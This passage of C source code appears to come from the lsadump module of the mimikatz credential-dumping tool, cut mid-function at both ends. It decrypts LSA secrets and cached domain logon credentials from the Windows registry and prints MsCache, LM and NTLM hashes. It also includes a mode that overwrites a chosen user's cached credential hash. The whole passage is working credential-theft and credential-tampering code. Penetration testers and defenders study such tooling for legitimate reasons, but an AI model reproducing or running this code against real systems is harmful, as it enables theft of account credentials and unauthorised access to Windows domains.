if(kull_m_registry_RegEnumKeyEx(hSecurity, hSecrets, i, secretName, &szSecretName, NULL, NULL, NULL, NULL))
{
kprintf(L"\nSecret : %s", secretName);
if(_wcsnicmp(secretName, L"_SC_", 4) == 0)
kuhl_m_lsadump_getInfosFromServiceName(hSystem, hServiceBase, secretName + 4);
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecrets, secretName, 0, KEY_READ, &hSecret))
{
if(kuhl_m_lsadump_decryptSecret(hSecurity, hSecret, L"CurrVal", lsaKeysStream, lsaKeyUnique, &pSecret, &szSecret))
{
kuhl_m_lsadump_candidateSecret(szSecret, pSecret, L"\ncur/", secretName);
LocalFree(pSecret);
}
if(kuhl_m_lsadump_decryptSecret(hSecurity, hSecret, L"OldVal", lsaKeysStream, lsaKeyUnique, &pSecret, &szSecret))
{
kuhl_m_lsadump_candidateSecret(szSecret, pSecret, L"\nold/", secretName);
LocalFree(pSecret);
}
kull_m_registry_RegCloseKey(hSecurity, hSecret);
}
kprintf(L"\n");
}
}
LocalFree(secretName);
}
}
kull_m_registry_RegCloseKey(hSystem, hServiceBase);
}
kull_m_registry_RegCloseKey(hSystem, hCurrentControlSet);
}
kull_m_registry_RegCloseKey(hSecurity, hSecrets);
}
return status;
}
BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData)
{
BOOL status = FALSE, hashStatus;
HKEY hCache;
DWORD i, iter = 10240, szNLKM, type, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, szNeeded, s1;
PVOID pNLKM;
wchar_t * secretName;
PMSCACHE_ENTRY pMsCacheEntry;
NTSTATUS nStatus;
BYTE digest[MD5_DIGEST_LENGTH];
CRYPTO_BUFFER data, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, digest};
LSA_UNICODE_STRING usr;
if(kuhl_m_lsadump_decryptSecret(hSecurity, hPolicyBase, L"Secrets\\NL$KM\\CurrVal", lsaKeysStream, lsaKeyUnique, &pNLKM, &szNLKM))
{
if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Cache", 0, KEY_READ | (pCacheData ? (pCacheData->username ? KEY_WRITE : 0) : 0), &hCache))
{
if(lsaKeysStream)
{
kprintf(L"\n");
if(kull_m_registry_RegQueryValueEx(hSecurity, hCache, L"NL$IterationCount", NULL, NULL, (LPBYTE) &i, &szNeeded))
{
iter = (i > 10240) ? (i & ~0x3ff) : (i << 10);
kprintf(L"* NL$IterationCount is %u, %u real iteration(s)\n", i, iter);
if(!i)
kprintf(L"* DCC1 mode !\n");
}
else kprintf(L"* Iteration is set to default (10240)\n");
}
if(kull_m_registry_RegQueryInfoKey(hSecurity, hCache, NULL, NULL, NULL, NULL, NULL, NULL, &nbValues, &szMaxValueNameLen, &szMaxValueLen, NULL, NULL))
{
szMaxValueNameLen++;
if(secretName = (wchar_t *) LocalAlloc(LPTR, (szMaxValueNameLen + 1) * sizeof(wchar_t)))
{
if(pMsCacheEntry = (PMSCACHE_ENTRY) LocalAlloc(LPTR, szMaxValueLen))
{
for(i = 0; i < nbValues; i++)
{
szSecretName = szMaxValueNameLen;
szSecret = szMaxValueLen;
if(kull_m_registry_RegEnumValue(hSecurity, hCache, i, secretName, &szSecretName, NULL, &type, (LPBYTE) pMsCacheEntry, &szSecret))
{
if((_wcsnicmp(secretName, L"NL$Control", 10) == 0) || (_wcsnicmp(secretName, L"NL$IterationCount", 17) == 0) || !(pMsCacheEntry->flags & 1))
continue;
kprintf(L"\n[%s - ", secretName);
kull_m_string_displayLocalFileTime(&pMsCacheEntry->lastWrite);
kprintf(L"]\nRID : %08x (%u)\n", pMsCacheEntry->userId, pMsCacheEntry->userId);
s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data);
if(lsaKeysStream) // NT 6
{
if(kull_m_crypto_aesCTSEncryptDecrypt(CALG_AES_128, pMsCacheEntry->enc_data, s1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->iv, FALSE))
{
kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2');
usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName;
usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA));
if(pCacheData->hProv && ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC)
kuhl_m_lsadump_decryptSCCache(pMsCacheEntry->enc_data + (s1 - ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC), ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC, pCacheData->hProv, pCacheData->keySpec);
if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0))
{
kprintf(L"> User cache replace mode (2)!\n");
if(pCacheData->isNtlm)
hashStatus = NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, iter));
else if(pCacheData->isDCC)
{
hashStatus = TRUE;
RtlCopyMemory(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->dcc, LM_NTLM_HASH_LENGTH);
}
else hashStatus = FALSE;
if(hashStatus)
{
kprintf(L" MsCacheV2 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
if(kull_m_crypto_hmac(CALG_SHA1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->enc_data, s1, pMsCacheEntry->cksum, MD5_DIGEST_LENGTH))
{
kprintf(L" Checksum : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n");
if(kull_m_crypto_aesCTSEncryptDecrypt(CALG_AES_128, pMsCacheEntry->enc_data, s1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->iv, TRUE))
{
if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret))
kprintf(L"> OK!\n");
else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx");
}
}
}
else PRINT_ERROR_AUTO(L"?");
}
}
}
else // NT 5
{
if(kull_m_crypto_hmac(CALG_MD5, pNLKM, szNLKM, pMsCacheEntry->iv, LAZY_IV_SIZE, key.Buffer, MD5_DIGEST_LENGTH))
{
data.Length = data.MaximumLength = s1;
data.Buffer = pMsCacheEntry->enc_data;
nStatus = RtlEncryptDecryptRC4(&data, &key);
if(NT_SUCCESS(nStatus))
{
kuhl_m_lsadump_printMsCache(pMsCacheEntry, '1');
usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName;
usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA));
if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0))
{
kprintf(L"> User cache replace mode (1)!\n");
if(pCacheData->isNtlm)
hashStatus = NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, 0));
else if(pCacheData->isDCC)
{
hashStatus = TRUE;
RtlCopyMemory(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->dcc, LM_NTLM_HASH_LENGTH);
}
else hashStatus = FALSE;
if(NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, 0)))
{
kprintf(L" MsCacheV1 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
if(kull_m_crypto_hmac(CALG_MD5, key.Buffer, MD5_DIGEST_LENGTH, pMsCacheEntry->enc_data, s1, pMsCacheEntry->cksum, MD5_DIGEST_LENGTH))
{
kprintf(L" Checksum : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n");
nStatus = RtlEncryptDecryptRC4(&data, &key);
if(NT_SUCCESS(nStatus))
{
if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret))
kprintf(L"> OK!\n");
else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx");
}
else PRINT_ERROR(L"RtlEncryptDecryptRC4 : 0x%08x\n", nStatus);
}
}
}
}
else PRINT_ERROR(L"RtlEncryptDecryptRC4 : 0x%08x\n", nStatus);
}
else PRINT_ERROR_AUTO(L"kull_m_crypto_hmac");
}
}
}
LocalFree(pMsCacheEntry);
}
LocalFree(secretName);
}
}
kull_m_registry_RegCloseKey(hSecurity, hCache);
}
LocalFree(pNLKM);
}
return TRUE;
}
void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version)
{
//DWORD i;
MSCACHE_ENTRY_PTR ptr;
ptr.UserName.Buffer = (PWSTR) ((PBYTE) entry->enc_data + sizeof(MSCACHE_DATA));
ptr.UserName.Length = ptr.UserName.MaximumLength = entry->szUserName;
ptr.Domain.Buffer = (PWSTR) ((PBYTE) ptr.UserName.Buffer + SIZE_ALIGN(entry->szUserName, 4));
ptr.Domain.Length = ptr.Domain.MaximumLength = entry->szDomainName;
//ptr.DnsDomainName.Buffer = (PWSTR) ((PBYTE) ptr.Domain.Buffer + SIZE_ALIGN(entry->szDomainName, 4));
//ptr.DnsDomainName.Length = ptr.DnsDomainName.MaximumLength = entry->szDnsDomainName;
//ptr.Upn.Buffer = (PWSTR) ((PBYTE) ptr.DnsDomainName.Buffer + SIZE_ALIGN(entry->szDnsDomainName, 4));
//ptr.Upn.Length = ptr.Upn.MaximumLength = entry->szupn;
//ptr.EffectiveName.Buffer = (PWSTR) ((PBYTE) ptr.Upn.Buffer + SIZE_ALIGN(entry->szupn, 4));
//ptr.EffectiveName.Length = ptr.EffectiveName.MaximumLength = entry->szEffectiveName;
//ptr.FullName.Buffer = (PWSTR) ((PBYTE) ptr.EffectiveName.Buffer + SIZE_ALIGN(entry->szEffectiveName, 4));
//ptr.FullName.Length = ptr.FullName.MaximumLength = entry->szFullName;
//ptr.LogonScript.Buffer = (PWSTR) ((PBYTE) ptr.FullName.Buffer + SIZE_ALIGN(entry->szFullName, 4));
//ptr.LogonScript.Length = ptr.LogonScript.MaximumLength = entry->szlogonScript;
//ptr.ProfilePath.Buffer = (PWSTR) ((PBYTE) ptr.LogonScript.Buffer + SIZE_ALIGN(entry->szlogonScript, 4));
//ptr.ProfilePath.Length = ptr.ProfilePath.MaximumLength = entry->szprofilePath;
//ptr.HomeDirectory.Buffer = (PWSTR) ((PBYTE) ptr.ProfilePath.Buffer + SIZE_ALIGN(entry->szprofilePath, 4));
//ptr.HomeDirectory.Length = ptr.HomeDirectory.MaximumLength = entry->szhomeDirectory;
//ptr.HomeDirectoryDrive.Buffer = (PWSTR) ((PBYTE) ptr.HomeDirectory.Buffer + SIZE_ALIGN(entry->szhomeDirectory, 4));
//ptr.HomeDirectoryDrive.Length = ptr.HomeDirectoryDrive.MaximumLength = entry->szhomeDirectoryDrive;
//ptr.Groups = (PGROUP_MEMBERSHIP) ((PBYTE) ptr.HomeDirectoryDrive.Buffer + SIZE_ALIGN(entry->szhomeDirectoryDrive, 4));
//ptr.LogonDomainName.Buffer = (PWSTR) ((PBYTE) ptr.Groups + SIZE_ALIGN(entry->groupCount * sizeof(GROUP_MEMBERSHIP), 4));
//ptr.LogonDomainName.Length = ptr.LogonDomainName.MaximumLength = entry->szlogonDomainName;
//kprintf(L"UserName : %wZ\n", &ptr.UserName);
//kprintf(L"Domain : %wZ\n", &ptr.Domain);
//kprintf(L"DnsDomainName: %wZ\n", &ptr.DnsDomainName);
//kprintf(L"Upn : %wZ\n", &ptr.Upn);
//kprintf(L"EffectiveName: %wZ\n", &ptr.EffectiveName);
//kprintf(L"FullName : %wZ\n", &ptr.FullName);
//kprintf(L"LogonScript : %wZ\n", &ptr.LogonScript);
//kprintf(L"ProfilePath : %wZ\n", &ptr.ProfilePath);
//kprintf(L"HomeDirectory: %wZ\n", &ptr.HomeDirectory);
//kprintf(L"HomeDirectoryDrive: %wZ\n", &ptr.HomeDirectoryDrive);
//kprintf(L"Groups :");
//for(i = 0; i < entry->groupCount; i++)
// kprintf(L" %u", ptr.Groups[i].RelativeId);
//kprintf(L"\n");
//kprintf(L"LogonDomainName: %wZ\n", &ptr.LogonDomainName);
//kprintf(L"sidCount: %u\n", entry->sidCount);
kprintf(L"User : %wZ\\%wZ\n", &ptr.Domain, &ptr.UserName);
kprintf(L"MsCacheV%c : ", version); kull_m_string_wprintf_hex(((PMSCACHE_DATA) entry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
}
DECLARE_CONST_UNICODE_STRING(NTLM_PACKAGE_NAME, L"NTLM");
DECLARE_CONST_UNICODE_STRING(LSACRED_PACKAGE_NAME, LSA_CREDENTIAL_KEY_PACKAGE_NAME);
BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec)
{
BOOL status = FALSE;
PKIWI_ENC_SC_DATA pEnc = NULL;
DWORD toDecryptSize = 0;
HCRYPTHASH hHash, hHash2;
DWORD dwSigLen = 0;
PBYTE sig;
HCRYPTKEY hKey;
DWORD i, j;
PPAC_CREDENTIAL_DATA credentialData = NULL;
PNTLM_SUPPLEMENTAL_CREDENTIAL ntlmCredential;
PNTLM_SUPPLEMENTAL_CREDENTIAL_V4 ntlmCredential4;
PKIWI_CREDENTIAL_KEYS pKeys = NULL;
if(size > sizeof(KIWI_ENC_SC_DATA))
{
if(RtlEqualMemory(data, "SuppData", 8))
{
pEnc = &((PKIWI_ENC_SC_DATA_NEW) data)->data;
toDecryptSize = ((PKIWI_ENC_SC_DATA_NEW) data)->dataSize - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt);
}
else
{
pEnc = (PKIWI_ENC_SC_DATA) data;
toDecryptSize = size - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt);
}
if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash))
{
CryptHashData(hHash, pEnc->toSign, sizeof(pEnc->toSign), 0);
if(CryptSignHash(hHash, keySpec, NULL, 0, NULL, &dwSigLen))
{
if(sig = (PBYTE) LocalAlloc(LPTR, dwSigLen))
{
if(CryptSignHash(hHash, keySpec, NULL, 0, sig, &dwSigLen))
{
if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash2))
{
CryptHashData(hHash2, sig, dwSigLen, 0);
CryptHashData(hHash2, pEnc->toHash, sizeof(pEnc->toHash), 0);
if(CryptDeriveKey(hProv, CALG_RC4, hHash2, 0, &hKey)) // maybe RC2 sometimes ?
{
if(status = CryptDecrypt(hKey, 0, TRUE, 0, pEnc->toDecrypt, &toDecryptSize))
{
if(kull_m_pac_DecodeCredential(pEnc->toDecrypt + 24, toDecryptSize - 24, &credentialData))
{
for(i = 0; i < credentialData->CredentialCount; i++)
{
kprintf(L" [%u] %wZ", i, &credentialData->Credentials[i].PackageName);
if(RtlEqualUnicodeString(&NTLM_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE))
{
ntlmCredential = (PNTLM_SUPPLEMENTAL_CREDENTIAL) credentialData->Credentials[i].Credentials;
switch(ntlmCredential->Version)
{
case 0:
if(ntlmCredential->Flags & 1)
{
kprintf(L"\n LM: ");
kull_m_string_wprintf_hex(ntlmCredential->LmPassword, LM_NTLM_HASH_LENGTH, 0);
}
if(ntlmCredential->Flags & 2)
{
kprintf(L"\n NTLM: ");
kull_m_string_wprintf_hex(ntlmCredential->NtPassword, LM_NTLM_HASH_LENGTH, 0);
}
break;
case 4: // 10 ?
ntlmCredential4 = (PNTLM_SUPPLEMENTAL_CREDENTIAL_V4) ntlmCredential;
if(ntlmCredential4->Flags & 2)
{
kprintf(L"\n NTLM: ");
kull_m_string_wprintf_hex(ntlmCredential4->NtPassword, LM_NTLM_HASH_LENGTH, 0);
}
break;
default:
kprintf(L"\nUnknown version: %u\n", ntlmCredential->Version);
}
}
else if(RtlEqualUnicodeString(&LSACRED_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE))
{
if(kull_m_rpc_DecodeCredentialKeys(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, &pKeys))
{
for(j = 0; j < pKeys->count; j++)
kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[j], NULL);
kull_m_rpc_FreeCredentialKeys(&pKeys);
}
}
else
{
kprintf(L"\n");
kull_m_string_wprintf_hex(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, 1 | (16 << 16));
}
kprintf(L"\n");
}
kull_m_pac_FreeCredential(&credentialData);
}